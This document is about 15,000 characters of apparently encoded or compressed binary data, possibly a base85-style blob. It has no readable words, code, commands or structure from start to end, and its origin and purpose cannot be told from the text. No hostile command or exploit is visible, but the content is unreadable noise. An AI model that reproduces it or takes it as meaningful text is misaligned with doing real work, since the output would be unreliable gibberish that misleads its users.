z{cJXstUu%|8Qbm|`lFMJhQhK&>+Z=Rw${ET$5ul*as!77gnKIJR5nsm9ue@1OvM?R zc&EKWuIpyvMGT?^4@Sd~@hC8z#l})Mt`ScbXM^cU?4f%!&%|)j5EQf3ELr##G1;!r zO&!bhi%?ZXNAs=B(ms)(M{04Ls)X=u+$Puc(aCp9YOC$$f*f#pH7N<7_<^$2Qf$CK z?^ePrjbs_3CbV+hf4*W=gV{DdHVS^ReUmt@$Sog(biAZbL(|MOU#|%h==^kbtGw() zN#rF4d)B}~69(*UNvmvi4KDpVBpGpW%?)#CXXZWnoASh2i-^&+E~aHpyK-HNmbE4w zHh$7HXo;cXwo>_qVLx^}9UER+9mY$y;MjMgRqf&s4*|n^FC{~%V=W|Qx+-d&IauvT zu-JDV|1i&pL_XhsKc1<^%IkH09yu(yjRvuyqNfBhxf3seJ#wqgK;6^ z+u}kBPjQ)!{d;pLXRbFS8ocD`fF-EnGJo%-oQ3wxzL>`zDGCYrqz9a-YwgqWL}PXDix+?m8RPm zZSi@CE{x190*szkfx1SLAo^ecNcOpOv1k+N^^X@_D+FoOsX@JTL+!m6T|9Y$XNj!j zcm79k&f)Us>YX%Ge;m6%c_fd;Mle%Zr%yKQpVQ+%NK0Wk__ z!&QU}m{*SPh)~s+?eSnS8%Fhdw)I_Rw&#^0}ga}&&K&(Rj^W(9W?AFs!fyAxiI|haMG`AOZpc(gmc3-g^Y;ReC4% z9(qj(`~ko3oPXT^o_o)|<7W&;_Sji_?z!eFbIxZzDj0)i(5O28Mo-bq_C4w_TYlvQjI_dhc{icfy>8{BLgZ@VunOxx~7!)li; z5uG9(EiEOcBV{60;c1U>;33JvbdE}kdfKNtIys^BlMBmqOxDE(Mn0~qV2pM?mv}yGchYNTqrO z)KJwQpehCZjn|uC&Q8m^?&^Yop!lYJq-CYUPqIfzF>{WUq1QJhxek~9y1MFMW%9Yc zvwug4?&{)=|H~-CtBWV8U;f=>!;#{Rq(zS8xo?3_=g@&x1Wy9m{Ho0ywIVZfT`5TR zVowl$u>1i)BITWyIFUbXMFk`u z`M2a^^4bz+s0JuwqGfgFS+zdbY>%hX6;6)!?~3UU@8TfnB287|9&W3;hgWZ`;coZc zw-1p0)g*Ev;golVK-Qf$sa9?j(}|DN`<=HD;{F1tS*e(q)SuuIqxX)2*PY}6cTQL6 zd|r5-HBKtu@eB~6^PxK0hSx4>21NcHT)SO#G#qw6RFPLS+JC9@U@3EmCi z>GhLj1mR{~KBix(yOfipv~S-XNpU}=fQz546chq~DCRI+(zN~t4sX-4i`i?8C+0H) zW{4onkQS)-qhomV-kX1HW@9It5 zJgaW#OC%Kb!J-p8VGti!-%pWPRzLkK)W)GBjZNh?ciE!{SokTuZ;SDVrRD9t zc{&P1pbpN16&rdPNQru_Q(nBPOpqhLS=Mhp{}%XD!o$zDhfEp%GMCHA-y&5uW5`~v z^z!Q+yk0+#mz1MYsS+qT4?wtI1u4bLy`ZoOwq{M&<5T0h(!(u|Ob5S7Gw~6Y#(rt^ z-Vd5Wp$$C-3wIO3SD9sLX@##YR^l?|zm{xH=Ed%eP+{w2cJ>RLIPAsTzjF&7Y9wcn z_$^X7sL47-t3jS=D)R%rCD!{uU-`c-C_)rT1eVKvl&%(M$*kb=Q|=~;iGqjUJMkdC z#sA}_-oRV=U|~sLS5b8QyIynhJH5BRejKbF#gN*(C-9Z^+`;yqOWOu#M%5Vhilso7V^pK2|<9(z7C*oi!Ln z;d~6Lm*yHLZzHU6VV_5e=n=(gHK@8}HJq7Egn`7nZluCNBUvyBc_CT_n?Y57;Iq1q zif&tb_O%+y{hdo}T(_Y;edHPG+jU|Y@yyEl!o4>`wj7$Dm>Ay1Q-f<1-Z{YT$#L1- zAMQPDM4_RhB6REmiF%~qyGO?!s08)1JHhSZkfIBTczBOOEKrvya!UhqHUEp9#16=7 z-(Y7@GaH@GCYlg8#}W}5(>OD(+Zi48JjEmTEMhX!3Utxb8)xjerF$8X%+q(PH~d^Ar5pS8Io}PV2a*ndW6LETygO#E<25e0lv>uUH2#Sd6aX@n&obB28>|;vn5f%Ku zMucurMdpkr%-ZG_@FDcNZ%yH+4S#si?=c}giG@Z4v|%$v)V4ce)={Mm40{Z;d#2Y-GKMVegd-7G`c-pl>OipC>vsTHT*#R5y@oyx0Xu69a3v*ecdV z4lI2cL1nyj;GA}uc@!CJA=X2l4d-!|!4|Xy=oiR8Wmp#>1z4PgkhQDV_Eav*+}5)1 z4X?}y-W=U77_@yz8sT6cPA9R>pQy*ckauITapks6+hY#pikj+UU|DzZ(oTK*Z(qE{ zpQJ7+Ye=)I9@U@ZQszZ88cAJF*hr=PP;?!dA`GjNC<=&qtpshDU?L^zaRv}S8oh~C zE{`lxk=<+?v7uCJkZcKH%KWu6-Y}I04?FaPO8?VJ#-Lm=Vb)kBxZLzs-r@m3VJ7r$ zh$?aUNq9f^r-F;M&AN*FW%|~G*nBxpr_7C?YiQ5@hrrjB@j!DqKNTzUVk`zO!_d~C zV0=G5-->*XlLuI}h7|ja+DVL{&I8Nnzt*w#CipRA4-`}rk~i8lYaEfFQ-W0cpA`D3VmmC>tt_L%h36qT;Lh2~k3ReI zT&8-e546GvMMsw|9)_qxufPp-kL2HrPlG1%NnK-O+J=ykYT1wOgurt?8Jp#}KVq_G z^_9T*zcqZRi|N7zPtmkBEU#Q#;J0;siwBVl8{~41j>W6^jz?+6iXc4((?m8~4|a=m zktZe!BZ5lsbqpOt> zf_3~bC^%eN#X>xaX03fFP2j?i@BrfaLki2w{B58 zFQpzS)|}1r4NN@O&6h9JvOL4x`os{Y!xf45i{%bZHQ$p5tw%p8N{Sv%@#ts2Vv++k zN5;H&Dl9~BJV3n~V|9plzi_~KbJ36XkuZAW)ve?vmUQhF%#Qy+MQMIe?Q<@M13MzI zXP>QSerepEDrCtn!UY~1xLj{Y0ZeC)`m%I*iqu{U3pV1qCQSpzsEexogTVf!g+1rs<&3|SI8Z^toFrOCQ6r3&hv2K>y3?_S!^0DDoNzt~Wch-}1zC>b%w*ylkwu2Ep z`wB(Q#`(I(`TAiUj=Zu_B5Od)3+w*hla4{l!lxgDMhe?%-R^i)vyMUE5oZcn1K7k} zH*_)K?^kDWBi6^2&VtncDCSP&n>ck*#10!W@6TO~-@hG6-761>M+QJ`L(jMdZ>&*Eh`)Q#h~qvOwDc>2Evgqx%62PR&L)Og(9KN^ce z&4#7FeQwxdJ=Ha&YiH&R|rSB+WGIoqo|pk?s7-J$cbnC2fVBfDkfAkRFU3H zrHu}W@IGI88>tMDn6`!ju3%*j4#EH&2ZVoUyoV|>9;;&#PHC`qB3#>}GTV<4STVec z!%`B}?DQRyJcD~kPkdNLp~b!TLpxsDdRf>^IlASien`m$6mW~_f|;7q3bBtThi*5R z0p+(Z(k#pmAmzQ+PA^WMgEX>vU$(BIv1#gY3aw+4qw6Pc>vIw$;-!g>US8z5fexEY z=Z7~uEcb)V7z5ow7RlnjU2XgW+|0~=JLBGk*r9BvQ!xgy7hSc>*-oDhgPrXabo4g- z|H5lnD!Mqa>(&&>HCynVJC`#`HNx@AY)gW^`)s<*b?AloeK|Q`5A%J`VUc99+mAWS z0?&p|?#I{)>=Za7Mip3QL;@a@<<5Sm04U+Nja;t0fSQ6dZ7$cyiL;S=wk{PF!+OT$ zc_XL@<&4pMWVq{)X>zmXj7P_VP2^PKSu&cvOpUel0mwLov}jN~FA)rJvyDniyh%MO zU|{EIAKBW<4A7$ProO*pf=)~9wT@hy_TRAgr=}j**bnd&%KP1$GVnR*pXMe_(;q!X z_T1x#{ce6Dq)H!e5T*023Ed3uAL(I?ON`;>@k`jl)ElwI4 zdiO`lyD^fUzmZ%gze{dOjXUqL(1d)IT|@XYE;Ug5P~NxCU5t##c` z4@rAU-vj%yp7vtEf;*Bk*|nqx2bLe*Q~?s>{}4?FFLfRL`P1U31|F0KfH4 zYoq<+>BD@JUm8H*4R<v z+R4aO;yWClc#hmI=uN8Ke^*&}WEg4}U^kyT8wwS{%HG18_e;iFr_2(kXAT3$Vsvlo zec3^olFsJCGBb!M+kEFevNqzFuwd1arrFug@#;Vzsm1mb^kzvloQdqO%hP2JP!J$f zd1?Nx`+P~biEPkYTMsMd1E46cJ7RTGX6CrSQzNcj-S0-?=LvGaz!)0g)e?~GjLMQ4 z`x%4?n%&#o=-LhW)-G{q)Ly}@ktGl{oAUOjo6>--Z7~vi+{N#~!GY-gp~}qrtv7GD zfrCWF6(O=yk^I}EpD;S}Lp3WDV^F~_YiIZmBVYBte zt(dBbRTfa|1VnF&1%gB!J9uH*SsG~m7#iKO}B&l{Ai>iChulO)d6E$_XfL%Nf`72AahiEaClfVJM;*(!P0gU zFU8w>t@Gw){O06r&KHw0iEV4s;Te3I>V33f4!hI;e9T6|RGsANb&dCZ_kW7V>!)=; z0o>`C-q@i%T>Y7IjkBPb{sW512VFOQF8#FgN;<(84aNPdPl6?~D9P)Kv-eE@{U%yU zorR8LZ&p7K)|{MD_m1@afQ%!*{tLPB$>{U?>-P?BRO{g9YI2GrMXCETp+++2eUJ0` zHbp^C_eh60dFBO9Ps)!9zb4qXm4?14pP&m0`S2(QKneKLA{9)X(Ceia&!%kLuS-}6 z!m@uwD_?V_w z3k^G{q|Y+RiLGR$8j{H>G9YV&ktH85HK=MvM)+}oYo1he<8;IxmBP%P6mw)`cwb0C zAYsBnmdJhaauShe6`@3LX{Xx^jX+gncIA(r$uTuPqkU zl2QngSA5=5GNardR7Y}S{)3|KYwn`inPQWj^^1k=>FD~aL4UK=70)EINu8WZQVR+A zy%`@CGOBeMmrczf*cW%QQ3sJ4C@&-aAHf^R_4YfT&LW?tW)xy9l`7zhdjkOscu>Q( zoc)ee=E^0RH6GgWe@p9;4G8&QO;IV?rDdA?0EN4_i0|lwq~+!pd9gDuY&Hxp z61R{tC_A;j-5D{Wm2c=E!%c;sVcXGMbq@WtK;V*LB)nzupbVc<+gwWC!|VKWC`v#{ zTI`?+!c!RV=@fHO*?yLKpW>0kCpq~PE#i-#%GwdM9Q4ZljoP)9+2~9irv>cRPztMX zyc8fg;5W82=r0@D?ojRmmdCU(-rplT#4?$$kHr;cQo0(vGF~u8!F~K0Mf}ADKdl&tU?)~ymNXS^_BeDhNp%C9K z>*@McPFUS1#vNm9MH@5<3+&I#3QCaJ18y*8MppK6Sd0qrZ?r`j3nG~{LR!DYhqobT zD|9@biL}CiJdArexM(%6itGJeVD=<%uj zeeMEfI=T$KkdE`ME|ON)Ia}G84fU{+^DmnhtiRT29b@D(zIdDJxF6!(ou|oLSFn4~ zY8jn|TQoJ>$nCO$CjvO?wqOab8b@V7S(&NKWU4eHvcvJ=om1^#B1*3NAAmRC!r{-# z+g?rpnTq{$%iF~n82m_5C+jc})X$0|l(SBx3lQkQ<(|`?ZO)+ltFTRgSl?(Lx0eF* zGZ+_+nKc4UE%0M73Ygy3w<$(JLtDK45&Z*Su6EHB4za`~qKGYSQll-}WS_$ljV|4O zztm4@n6<=_gH$e??uD!>5-JGP47(8`qoKF~tsBOTU5J)`FOVo?gZn^c_9QkF!R3dh zf$8qqLak~=qb3!dim;+O8~z6&p*dlFdB%P&N8BGjMfYY3hlCT?7DZqfT_ay^Hmg!by#``FblN0R9qEcp;?&PTU>L)4FZEm`hEf7Oq^J$b>4)kON$?`!(Z zGzn*;=m#lc9GD~p4hPT!6ReGN?>$HNM9C5`;A z0EwT%OSVx(qHg<1vesB}*g-z3H;V_lu{gxo_yZ2l7|%0KqCvTS9@DKXuP_=CE}$<< zK19{V&PJ)pOErLh1k9v=+@a?l`QdCtiJR;CeV_cj!9(=a>TecVP%;STzwW`1G%xTp8=k4je#o$lXDy*cRd3paK*;S6KS#4 z5a-3JaP=CQ>ZQKj0zKdEkC~^Aj^=OjEURRhcn70P zY!X%B@bOO$!=#Neyx&SWle(OFP?j|k!M&WMcO9!UtDtKFvhah8t3ljb5r|T z;Tm^UgZHw7I+I=TJ?qT@;tU3_)3_@D|B1q~ zag@O*jTp}0D61pLGj1sU;*d}#Bnc#t* zMqBnP2~77@Q2Hgqjjfa8uw5f1(B0sLOZlb^+M=JoEmRS|C3XX z@ddJxlSOt-wz*~C!S%FZV`UOr7bzOpgRu8Mk`ScOzdc%%R9~V~IAjE52-N~;*%b&8CfLV9viPSwHf;zklj<6M869TkGgwuI z85rEx8$1AjfaUqhs{ZndhY*7(VZJ)myO ziv2~J!`XrV*mrn-4=9!RZ*BeWW0O7jK@^$oSUt*Brb&2iizB-klu@XdL7K}^;iXn! z0+lW;eq#Pi{A@orhPYF6Omj&yjFC50T8@Et6%brjJ@3aOl0WUdX#WpB?Ns!(_-kr0 zF(D-Gp;+F1Bq*jb;P@?e`_KXexEf=(9M;sENtyTcEUiwfYQ|qHVp!>l9wkaF2!IUg zBpT9o-QK9TNY1A9*S2d@Egs;;>cs2Q6wR047+ocuwCEF^8%{2B2aWN||ImT&28_6) zgHkl#nlX{~?y^_@#wC&sRKpb+NbgUhYZ}h8PL@Zo{%^l_v-b$=_|{1*%MU2dIrmq1 zA=_9MCaMc(>mf{EzO)Oauo%nXov!n1s6pr5kBHaG;&u%Hpq z$lb_Oda6WTitowP~r zaT?sdYWRG+BRR$2|LI!I_=vkF1EtcZQB$vN-AzFBf#L@bRJWJiRV#v}&(li#7Rd8g zj%d7}+UuN~j!;k5oSDxUZDuh;gE24# z|7~Q=ut-9W{fj>$zfA`aC65lA!UD0HLBdnl*&KeX9u5vCps9ql6CC@7+V9izuz$%- zxx_9sC{_~v>6*flwT3hxDfx5`nmk4!_bC}$1|q%|S;Ht2eO?OWRN4cKn8k;pH@ADwZBUB&J5LzxpEK#?ratvnNv}J_@-vjh&KFx6GjW^OSBM)0u83 zkZBD$H0GWLV`(;7yZ%BkGSOk|I*otRo{R$-;jIZK80u-lM z{1PqUC8okY5w1FW9uX&BYN%))O_|DmwuX>=d!6DF7{>Z#Y(BEuNh++A5~r6@lZF`r znHpQ4mP~wsE1HK|oQJ*!L@o)_T_YR>_*!%9ug2tY-Kl(dKl^A68-vs zp>)!Y1S8VF-u+aD@<^(w>)K8zkD8bzHNWsA4z6$LI!t$oW8C$SK3DI`^x2=3+M)5Z z4LX@^kY0En8h@eHz0WIa1HZmtNB?;G}9&~1=)GtpX)E>E_2r2y9 z%0SnvkU)&XAj-cra+EA9vx%n&9A^24U_#(#=*;BP-b6pV$(SKB+felljpqyD|2pjM z+S&Jd5o-r7jie55ilBC|y*!uRxQUqSL4Lm76_)Y`q!~|1TI;mY^w=#zf}9fT&**vn zQ}{np|Ko~}LS$@STmCuAe*i)M2jl$zqV0h9+CmHD$aN|a*9y-8{#WP`Ec%;0S|+ep zGp)<(YELD2)1Hk-gvP&Ode|0qvoDX|!QnZ>!J9{jq~1)PivlOkLd3O z@n2q^Y`%dmcewbC9Ud3P*Ut(CY;gruXfknia+uk2(zq#920plwMbPmV(-{qU;T?P6}?t@s>sZnM z_4W4ZX1dLE)`j$4)$ILP5R|-%YKZ$_?*^=gGL$QrZ&r%ue=LUCp)+1E&J)WnQ=9`% z(tEfZcci!9k|5RNuatOW!wQX()8FCn_ZbWcHxjJ_T@pE_Lrz&%AR4Tz!bZ7`GiVg%a1hsb*-)X_ z_VIFi@mALFYf<;-0`|r1rls8HNpvoEOHK;G06HR)tnD%f)qxyVS$>0&@kjC8m3E&g z0Dz;n>_;p8?!#PR$1k-W)@~If3Ljrj)_(2qqa_s*+$!{b2)rdW%ijVmvTd5GW?7fT z8E>Nac)L(rWQ;sPmw`b$o#(ScHx=>mG6?gs;^9{jDpVd+cs$Pc!s_r>xg7eD8rSj7 zV>SA5+s|3rh;onc^96NBT(d6&LrIGCWeR!dXEmsFy3aN2=`HNW*;%AT@i0#Ra=i+K zZ9F~P+2*pYOUMsxZ>&w#ABCQJt@@xHHOg&(a$~grKRdh9vSJt{1;07%xXRWG;Voff?GGN}oSK^$DoB&kN7CtKJg|w0YyhnMB(4IVy>8@pVa3R`Aq8fZ#!jEnaCw2$kPDGGz&nyZUS_+K$B!f{ra z*yPKL_OQzfp=9)4(H|?nbIW1{UvFOx++6b3m_VQ2xMW|q_u4;-D;Ln~d&s)ta=F<+ z`&iUV)`ik4<92EDvn%ciK}RE=?v@)B@*S3kSRJ*=IG9i@68lj+%)QaN4r?stt*h)@ zKAm@1C-#o1)Lf8{?#K#SI#Mf&(Y2aPD|x8gCbVO)OD=vbNk}Yu$;KHs2A=Km0*Kk{ zrCwTn_jTPf+sNWW`O$8!beh2SV{0_aT0K|%q>rsrSW#KHx1NZ*-bB~C+0r+>CLPaK zz*`zPQ5g~8lGj#s-j4RK+8XR+r62F{^f{OE0Kz__z?fRSYtNEG`$4e6y6$7rE`Ad= z*r~QzF>Jk-^kvA+4Sn4^g5o>>9T?u9+jp^blp&ODO7E&C1a5%;mCv7x*BqOIO=o%L zqfAd%Ov1^I(PlqNoW{V({G+yX&bhX1XQ9HNjaUVN$1oS=sx;Cok!SCiNF>ShyfQLI zOBLc8M|2JCdBg_u%A9r>h|&k!C=@bCs-6i=y4CGBZNy4pxp>z2QxX^`YqQ;Otu^S` zD<4v0|us(XAvZRTc5Ob-1w_8Y;>E{;qBzHB;KPnwr-6}0FF$JA?Edz=3VLxW&)&ST2y(H3p)B&Af3G$r<<9(VkLF5EF^1Ks`d*{U z4I&}pm6rv|K+EET^SYB#5LrribER+DDZQy*I-m6Fu=u5ud%d4#W-5t@5Ebz5arxKy zw%|ZlHhu@8QDerCFSy{M0=j$w-SI`KOMXlm)JoR-Y5aP6-mkD*WC4+#r=utOf)(Q= z<08o~4=@fZ<^AHaA3&^nx7=oBzg>k#Zid{IW%a8s{JvyXarhQlKG=gr#ZaelX70p(#6=sHEJ& zW9PhDd18BZ;MH|(WE3N-)VSVyr4Z9ro$nM5TN3~3a3K2$EVoe)%tRDDwr#m3CZljZ zu!~VEne&je7DB#CuJLB83|uvrw2(06A|=~X=k%5XF3jKBBYq#iumHaM37(^@w%2*j zrm)o;5aJ`Way7ulir!w_F2g( z4Xo-lO4kYDR6S8Uua%1O;i}?SY0z7#U7gk_A=h&^*;{W*e;L`*YzkXFJ$qY@VR648jY0TwYe}4``cAT7s(s1J4IzImTy>*^yul zk=yu%n#WIm`{oIy%GDOS6m6=sUzt~Gu5{=@ws;V4h1>)i^&*B!J&!RPGA3(SFo>Gf zokP7+)RTWG01G&%M}BNx+1V*EG>9tHwy_gsw#laVFQxK8By=Ok%s~M}buSAz?8Pk* z)kBw;Ufa*QLvs$>QQX4u4>?4%<2fepB9Xkii1`BbLEU%?XWyd9uvI4i*PJ+wz}IYx zbH17C0FPjUv0a^Hr-wLTb%2wizvQqk^|&}5vvTx)5%3a02hR^w(vywnlN4^Wx=wN3 z)C!r-?j|Z(TC?k42DuBVjlQgS$P{a+U+FpK)^K?OwKY1g98)DbiK z7Wr!l)F5cm$h2WP{64lwvi0#p`B0(9Th!-j3YOZstYCzgnRPDW#J`kgxM0P=BtK!T zCk&+lq6_8u^tF}~CEb9qL@qA%c6Li3x@`Hm)a&R?*FJq#cogPThjJ9uM~ftUlr=f5 z$@t}tk1v_(cW3gThrf_pQ|qYebj_o+ApRNe!2I7nFGbF<%PWl|hE~MWQ=-lE_(6HD z-W|gP{!SX1K9n6w=dArG)`0Gugd7dKEbwD@@O&LVgNd%{BDPE9uV3MshwW-0Q%vai zqW}%{tqt#;NC0KaE3moHV60z-xwXh+3cXZ0vza~OH4D<)1OdeOIdO*F8N2xZI z4~a=@8@=GO{`*3`dod)+iDvrrPE1oXO)zMekDGUP1j${_EJe|wj2k8eX}*%@%UL|p z8fNRExXsw+Wm?0RLact?w81>;>eF- zP1;6zmx3NwTI~0kcD3vniVnSp46KEZZY<>zD#A{b@o`_|D@Q&n@P`@B^c>NOo$Tz< zRO=Fi)hh+5jkEdk^^?#PyIc;PAGr1e64MKB^ot;j1SGBq9YV}`s;;N6tEQX^hpQQU z^G)f?bK=&?l>?TGvps_dCK=AAiHtK#>zRwb21%9wcT}#rZoi-C! z`5uhFv+nRsgK34RzfCj&et3?2E>uusm{3i`L-6V$7n`62^$FeM)Nl7^z-O9<-;VFM z-Ga3=YtJQc}G{X>7p}+X@{6wIX5%iv{2f+df>(CE|8*l~h17G}Z&SSztia1R#b+(GSV|w*8z}0e z(6!;aIX1#^*%Z+|M$gD#E_EI&gl1^kix8)S2zgh`JPTPb2p=D+#Hw~S$I)XA#u(w} zn4vjvGUCh?bt(e|`bRW=*ywmX7Rqu7xeP3nF>^UCn2|YG!P>T;5^iViTIgNnqED#t za838ZQGX!PWp@`r9By8r$Pc)qj+>vv?=@V~7~Q4dKmNl8+2i$;p>va-#FrXfL{~cL z@j=7(l`=m$vF}VH$}^MIex$8p^N|IK#QdiOe$Ni%66isN(xxDnnxBZ@-S6UVSqnd; zT-MJIkG}Hl@$F34tuF5PS7F-24i=qvDiVosiTR$ZIi(j$i9Q!AL6<&uJ~(8iMjy$s zkoc@40;@FDd^o8x9?J;Ccv;P(Dyf^iv0R^1yPMIxZn0`6jb5Yg;UKIUek zI?zgX?;{F{fJNhN@#`?^9%NBPXXo7Rz`RRke;DOcH#-_|LJ`1`O5}M<0n9G5&5!3q zY&4t_p~8sAa&maY%fJ+Fe$p=O!an7h7o!e!jm!8Jq=Bdyubr5$od@Cki}CuQzK)p1 zLe&7jnA(bw!14j-2LL5*Om^*5Hf*Q&xcaKbLy*{&oFbV5(RWwTd*L_^TlNXrn|cJM z@eJ1a*u&bsbI)wk@6^ZjbuMl(G6k0@lLy8u40_-R$ispOB;!`T-rGAcsj}tWuj4Th z3bk9cWmuxyGT`LQA`VgQB2;Ev$lIT12We^=5$)m? zzmI29ijCav&owX3bvn8}sx)_}JEr0fnDWz$x0cS^)PQF?llsad&&6l3UMDyI*W{XA z)tpVVjPnp40p#{S;A+2v4d*$=K%qFJjN08jWxoGLc#ht+w@+@(S8Ag#`ub`urR#`d z)yrS!sy8)n@c}*2-8hic^ma|{m&y^{+^W{>qQF|-x&sb*iiMK)f)$k$kJ9|p>Lb_w zYp7c7>QvUMY{Nk|>((L~3LB^jidHr;m9ghuYvA<=Tu>TyJD+Zhwi=3qZP#EbxHB&L zrjFFIMl_oCzzsX}fuFl`e(-XKYOlflxbKI;bA;~d3D!JgNEg=!3qrF`>^;!7a=C0` zk5!9gEfYgPPF&AOxWk;Yb!7NZV8GnA`j~x7JeU2;0bTPI8u#Uw8&l_EVtYACKU>8YLda4E z>SQseZ-kx5M#ik1TYyikN0*I6VtONg9^`SWL9nW2%RN+&O1{I*ZI`koHJL80vjskhWb7n z-bZdH(;Ki&%}7wGUU{)62)r)+0WKHkgqtG9v;LchdoRH!w!-YqI$0R~fJjbNv$|+} z%&!qILuH0!BTou%&tIX)7ogyAq7+3^UizYUJ!SeUD0vw8irW02lRN*|<{5gV@_qG; zj{Hi#Bm^(t=9Rsq_wRvEoX_bQkB5e*9*N zyG*OGZm&~oHg)J-IZ`5bT=L>7;h=V5M%O-?f+lnHWhRpaQCS164n6UXBXP|&n7n6p zZi3wYT9(tI$@5Q_()Q!p&lCJ~oft z;x(^JM9Cpu$>-9YBlsOPyev$PG_iVIC=RV%>=cVDgn4Gw1G7m1faHcoOuw;i{C(Xd zN7oI@wg4<2IHQvILoW(-;A=6kPdyeRuJS8)zl=?#!aykQvNayGjMo$nzmAY~E{jZ{ z7nUlSG8bMmA;zKVnRwn_m+65187@yD=|?U<2jn_BHvM#jC6BF-SNCBs|3$Q+?9>&f zEA;j8FN?JKY%c}8o&*{%!jG3iNoXX~V{+-BCkN8Um>To{dBkfXBhzf}%&7$o#u=n6 zxDaKuCfqwFzQ|(aXUmH&8lmAS8y@kKHcI*GEQFji9|77pp9gO28~SVg7`8e)UI#H_ zX;~raX0t|m^3is#leoE;29}a}wvJOc>x>e6ZAzUW7sLFA9sPz3`U@*m z8Ac$YFXEB7#u^I@dCo71DCwfAu5x`ZgIE4dQf#!6*}Si3ky1Jt1%z)+L}9!@#s?vZ zTfXtw>>zem<}@4J&lN$LS}!0nYFU8Zl+A3OZh8e@usr9ny?WS`dhtdWvP{$<2F5H<3bJ5Tj8gD+me-B zUWPspVl^E&I5R(C;*ifVAfmX2nSAPd&^ad9ZXo^4$=4{LJkk+Lcsawi+BvTvDgDet zEb!Er!Af?eVv|@u@`xwagw-dL=eWq^?$i{81w$BKJF}e_g`_LE=E>NSc@z)C&QZI2 zm=;Pxe0I+7W5aE=0Od?_ZLX4smg}=>NIl2Y8JO3@;eT6%vSHb`tO0VZxdAd#6&He` zAg-Gd8(RG&*=k7ep{fcfo&ha0>OZ&N?m$9yGhL(95Rfc}H@-brPlc z+RNrSNQ!s($QnW!Pcxe`%i+7|{7{}vI!~y(>7xL0$Q@yB2zc9>AIm36WBkBrhNI5_WZ&Iq zyhfd?>NT?85-1z8-QT#$4!A?|cVpYsQ6=^tl?>|LD&#>Y(Qe< zRNKrd$jkgV^mcll8SYAGC z&^iTqHU~2^HoJtZM;`i!V`nB4z02hZI56x* zXGhjO#P3#V|I6)Qwp6ff`KDzS*6ZAE%FyE=0u5JNet? zfB1OzGuX~yY-}o@VRkv9lQ2*WqrDtqdOH&iY!LY<0AAU2`TDrO+<4ex=<@s|5R56* zs@ky$xER&P4z%qva*Hu^%3bP0v4=Yi6Lcb19^{n{p1QjyS(aduch~&a1&2waC{FC* zbyP=3$#fOfsrdL!FEndo+Zm;>DllE-VQc0(^;Dfb=Mws{_pkr})D-E9<8DyB_jg|^ ziIeysGu`Iau7{VmGN{d>&LU2Np==6q^`_^sUzYY9Pj6msu0qQ|K;e6*C>1OXa=!1& zPn#XpiwKD+r0rG)QKJHVMX^VN-!`U_M_i0tT&5C7bv1sLD&Ylx$kGIrKn;AL_n2kr zD)0TNqww$A`hOf_fA%9+XiDhnDS|iX^#7YEaCn0I2`jBk)sAI+M@t8+?m@VfG!U0u zwV9|&>UDCNZ^3r(6u(^>iwXtd*Ut6t0;Cj&s#aZ2yDzVgTtjN7*7)Hrs-%(eIz8kL zwX4Y)UpNh#1%nPjv>7KRnxX$ z1OD7kPYwuyxGFjdGciPsFHl~Z*fVyT3>F-opp2*?Y`i zU-xzCD;~~MaRq4UZ{-&L=8pRz_{e~s=j?K#?%*`1Pon<>>8_5>)Xpte`R6IqgMZ@X zo>=g{BB#EmPRT=CH{`|Y%DSH7At|7~eL51|xV;^}UGG*00k5*GPpzx7c!{eIrrdKi zCtG+#Z9&~*&KqiU%lJXmZ|;~%<9@Ld67&*<}{q0v5F`|!_oEdx+2Ic#sFr{2qTwC2WQHa2$ zfE3#PhwtLT_OFUr=f4lG@c;X4i|W7F2~7V!+wz}HN?PjP0AEA1Tk5WV%!HsY{9nw9 z|7`NVk`l30xwlulvf~lZD|C_1vAc4j-f;N_keYC%>MQoWhqWBW`#;^gOMy#UvlK9o zT?{y-Y%auaweLinOBVd?Z?8+|ZjRNWy;c$o9Vk)UZFqmShNRLAcB`s7EMoX_>ms4N z?<_o&dr5AH1|52#2`j7eUkr9-yXF>UDXT`;3)qY@c5}q8ie=7cT$ZD^n8zyKok1`6 z7MgFwu`on#uh9BQPwP{_tv*ECVP-B@Vc(MJcG#V*m_aDmu44l7+@#++0QTxU)4soS zb%p+-JIJAN=|W3qU@UJ@=gCz+R6kHMpMADFpf_pwK8*mqRz2HLxbRPLU;3R8>vx$& zXw!&1N>yjF`j!gTO5$cnPnFum9AL#W#&EYy@JL~W%F@D$Xa5ri?)FlDN@{_rvxijTmvoc4#5IdT#6KmA1o9vE`g-D26qXr!6ktNk{jsneaH9R z`;KqizrKGM86kV`wdR^@t|`wmx9K@VTVrQ5r^dA>raH8Pdgi=UGVc*V%9)5sA>s~+M`z9%GNWu}FF;=7 zSvkf%8G6gZBu-(UBP`}obRoNMj;*8l(&xeWC*iRm=6 zQEI+p#edIpi1WmoSjv7g_5iE)*oY`FLHgUi^~T{X^PeYwEB-g^5Y8JtWw&%;dX0Cx}mTRen{PtUHhD1=#gu5h^& zy9=Kaf@22P(JBV}i5qHp{DPgEoW`YJQj93??9S(LDH{+^Bg!&xK{ny=R2h2@*DrRi z^|$ouXA%x20xV7Nk^ZKg`i-n@;s>Fr=>{1}U1_M3cJ<@3mYqF4i?GU*fH9YIjMz(KJl6B$z0erN>o>~5kT*fHIm3Y@A1QuF4lL!m zRvEECowlG%8~RV|_-ZN4?`1o9YzsdarIq#+S-17knfGyx?QCTgxD?a5z6sWAf>4%B z{wT@q&)09PSvZI1^SU>@>j~X?;2bQmsiMVd*=Rj#J){+8Jlrbtd~qsGEgP$HSYrAG z59Ee$I=_z+0B1g@pr|P0_jB|O1JNNAnmGtkoGZj8C>VHN{xtry1j6xg5S&oU#FaB4*)b;rw5X7ULhe&A?r&W)TQjCUJ!!J z=Yw!Hs+f;KU`(pfev(;qP9ky?CG+nt5gCq`10FCD;_kdK29OKQ;cF=A^L{QTuNm64 zGhiHGg{0%W8jEQh6_r$ynofB-G{_hycQD>;e`vh0>6z1`6k~3>uk8ds z-Xt&W6x}yj>+R3QKU{V;dFeK^B{8VwDW!$B4E0;0D@DC)l zCZ6PzAgi{^+0{#N%Plo@EiG(m*uE~B!TuVP2JW-?^_xdwIpLzkEYsDt0z6Y0#e;Kz zSRT?kV2kzC+p-E?{3`KWGiuw~n8CZ5E@=!?Qw?$w;O}~?-N#>Z7_Yj%`B|#q3Y`+X zFs_!SYw*P5@ak}IuAzMWV)x%`5vi_v?g_cj5TKzU_#7}GJz`!ncX&R-mt7K&U6TGG zM7QR+xnsAB27(wpq#Q~}dHk>rcLgsb)(9{_u9b>kLIY!EKe3+fDd-?GkUiX>>V>j_ zKD`1wU@Ttlg@|M-%a9)iIU)I}q;yrq`Sfwg=T_eq@NNQtBg 